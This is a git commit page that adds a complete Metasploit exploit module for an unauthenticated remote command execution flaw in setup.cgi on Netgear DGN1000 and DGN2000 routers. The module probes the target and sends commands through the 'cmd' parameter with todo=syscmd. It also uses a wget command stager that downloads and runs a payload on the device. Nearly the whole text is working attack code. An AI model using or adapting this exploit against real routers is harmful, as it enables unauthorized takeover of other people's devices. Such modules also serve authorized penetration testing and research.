New module
This commit is contained in:
parent
2f98f2bc2a
commit
04a24e531b
|
@ -0,0 +1,90 @@
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated OS command execution vulneralbility
|
||||
in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
|
||||
DGN2000v1 models.
|
||||
},
|
||||
'Author' => [
|
||||
'Mumbai <https://github.com/realoriginal>', # module
|
||||
'Robort Palerie' # vuln discovery
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.exploit-db.com/exploits/25978/'],
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Privileged' => true,
|
||||
'Payload' => {
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/setup.cgi',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if [200, 301, 302, 401].include?(res.code)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Connecting to target...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting target ....")
|
||||
execute_cmdstager(
|
||||
:flavor => :wget,
|
||||
:linemax => 200,
|
||||
:concat_operator => " && "
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/setup.cgi",
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'next_file' => "netgear.cfg",
|
||||
'todo' => "syscmd",
|
||||
'cmd' => "#{cmd}",
|
||||
'curpath' => "/",
|
||||
'currentsetting.htm' => "1"
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue